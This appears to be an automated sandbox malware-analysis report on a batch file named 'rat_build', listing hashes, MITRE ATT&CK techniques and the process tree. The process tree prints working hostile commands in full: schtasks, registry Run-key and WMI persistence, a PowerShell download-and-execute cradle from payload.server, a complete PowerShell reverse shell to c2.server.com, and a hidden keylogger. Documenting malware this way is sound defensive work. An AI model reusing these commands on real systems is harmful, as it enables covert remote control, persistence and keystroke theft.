78cc9dfd062e8783d2bb6aa427cc4dc8dc69acf49d78e45d9e38827606b05dc3

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:11

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General

Target
rat_build_72890_014240.bat
Size 4KB
Sample260529-13wl4abs2j
SHA256 78cc9dfd062e8783d2bb6aa427cc4dc8dc69acf49d78e45d9e38827606b05dc3
MD5 878808a3a99e6648c2a942c644b2c4b9
SHA1 2c0249164b59088179023ca1cfae9fba88497d92
SHA512 63db466478fd8109de7da2ed41df43720805318c206138312d08e93341adc8b952a22fd9927cd4a66363bd526a906824f6a8b3131cc0cf1563f82f016915fa22
SSDEEP 96:/IYIeWj6RNWiMGZrI3AUJU0B/BX64jqTr8V91e/J7lYRghBaJAgnkDCiFgZk8mvk:/Oj6RNOccjplTMY1SBYRSaJAmiFgkHla
TLSH
T10CA11A13279BA32099B46A28DE333C55276CEAF70344CE8DEB4D8DD40A4CE4782756E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_72890.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
404	powershell.exe
4380	powershell.exe
2684	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_72890 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_72890.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4204	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3848	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4904	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4056	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4380	powershell.exe
4380	powershell.exe
404	powershell.exe
404	powershell.exe
2684	powershell.exe
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemProfilePrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeProfSingleProcessPrivilege	1488	WMIC.exe
Token: SeIncBasePriorityPrivilege	1488	WMIC.exe
Token: SeCreatePagefilePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeDebugPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeRemoteShutdownPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: 33	1488	WMIC.exe
Token: 34	1488	WMIC.exe
Token: 35	1488	WMIC.exe
Token: 36	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemProfilePrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeProfSingleProcessPrivilege	1488	WMIC.exe
Token: SeIncBasePriorityPrivilege	1488	WMIC.exe
Token: SeCreatePagefilePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeDebugPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeRemoteShutdownPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: 33	1488	WMIC.exe
Token: 34	1488	WMIC.exe
Token: 35	1488	WMIC.exe
Token: 36	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeSecurityPrivilege	1364	WMIC.exe
Token: SeTakeOwnershipPrivilege	1364	WMIC.exe
Token: SeLoadDriverPrivilege	1364	WMIC.exe
Token: SeSystemProfilePrivilege	1364	WMIC.exe
Token: SeSystemtimePrivilege	1364	WMIC.exe
Token: SeProfSingleProcessPrivilege	1364	WMIC.exe
Token: SeIncBasePriorityPrivilege	1364	WMIC.exe
Token: SeCreatePagefilePrivilege	1364	WMIC.exe
Token: SeBackupPrivilege	1364	WMIC.exe
Token: SeRestorePrivilege	1364	WMIC.exe
Token: SeShutdownPrivilege	1364	WMIC.exe
Token: SeDebugPrivilege	1364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1364	WMIC.exe
Token: SeRemoteShutdownPrivilege	1364	WMIC.exe
Token: SeUndockPrivilege	1364	WMIC.exe
Token: SeManageVolumePrivilege	1364	WMIC.exe
Token: 33	1364	WMIC.exe
Token: 34	1364	WMIC.exe
Token: 35	1364	WMIC.exe
Token: 36	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 4056	4728	cmd.exe	89
PID 4728 wrote to memory of 4904	4728	cmd.exe	90
PID 4728 wrote to memory of 1488	4728	cmd.exe	91
PID 4728 wrote to memory of 1364	4728	cmd.exe	92
PID 4728 wrote to memory of 728	4728	cmd.exe	93
PID 4728 wrote to memory of 3848	4728	cmd.exe	94
PID 4728 wrote to memory of 4204	4728	cmd.exe	100
PID 4728 wrote to memory of 4380	4728	cmd.exe	101
PID 4728 wrote to memory of 404	4728	cmd.exe	102
PID 4728 wrote to memory of 2684	4728	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_72890_014240.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_72890" /tr "C:\Users\Admin\AppData\Local\Temp\_72890.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4056
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_72890" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_72890.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4904
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_72890", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_72890", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_72890.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_72890.txt
  2⤵
  PID:728
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3848
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_72890.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ac720bcc488514833028e9b0bbc88f8cfda5440597b1fd5eed959b9010f27595
MD5 1f128aa5c47f317201d906fe568917ab
SHA1 0939ff041b7ce3781c9dce438b18877b4d41d980
SHA512 eb87e6d10de48f1539447cfe1b074ccdd3daa5d7cb17adc031b10a38cde223441c7232b61f328f581de738046fef97e5901b8dc15153f3f7f454f53726cf9533
TLSH
T128117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_aexdwzup.iyb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aexdwzup.iyb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4380-3-0x00000212A6B10000-0x00000212A6B32000-memory.dmp

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